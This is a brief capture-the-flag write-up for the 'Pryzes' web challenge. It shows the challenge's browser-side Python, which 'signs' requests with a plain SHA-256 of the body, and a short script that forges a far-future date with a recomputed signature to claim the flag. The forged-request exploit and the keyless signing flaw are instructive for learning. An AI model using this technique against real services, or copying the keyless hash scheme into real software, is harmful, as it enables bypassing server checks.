Pryzes - Web


First of all, we have a website that has the following frontend Python code:

from browser import document, ajax, alert
import hashlib
import json
from datetime import datetime

def on_complete(req):
	json_data = json.loads(req.text)
	if req.status == 200:
		alert(json_data.get("message"))
	else:
		alert(f"Error: {json_data.get('error')}")

def compute_sha256(data):
	sha256_hash = hashlib.sha256()
	sha256_hash.update(data.encode('utf-8'))
	return sha256_hash.hexdigest()

def get_current_date():
	current_date = datetime.now().strftime("%d/%m/%Y")
	return current_date

def send_request(event):
	url = "/api/prizes"
	data = {
		"date": get_current_date()
	}
	json_data = json.dumps(data)
	signature = compute_sha256(json_data)

	req = ajax.ajax()
	req.bind('complete', on_complete)
	req.open('POST', url, True)
	req.set_header('Content-Type', 'application/json')
	req.set_header('X-Signature', signature)
	req.send(json_data)

document["sendRequestButton"].bind("click", send_request)

They’re using PyScript or something equivalent to interpret Python in the browser.

We can see on the page a button Claim Prizes which send a POST request with the current date in the body. Also, the request contains the X-Signature header with the sha-256 encoding of the said date.

After clicking on the button, the backend server replies : Please come back later...

So, I made a Python script that’ll simulate the request, and send a very far date. The script will also take the dictionnary and hash it with the sha_256 algorithm. Then, use this hash has X-Signature header value.

import hashlib
import json
import requests

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode('utf-8'))
    return sha256_hash.hexdigest()

data = {
    "date": "30/12/2100"
}

json_data = json.dumps(data)
signature = compute_sha256(json_data)

response = requests.post("http://web.heroctf.fr:5000/api/prizes", headers={"X-Signature": signature, "Content-Type": "application/json"}, json=data)

print(response, response.text)

And we got the flag!

The flag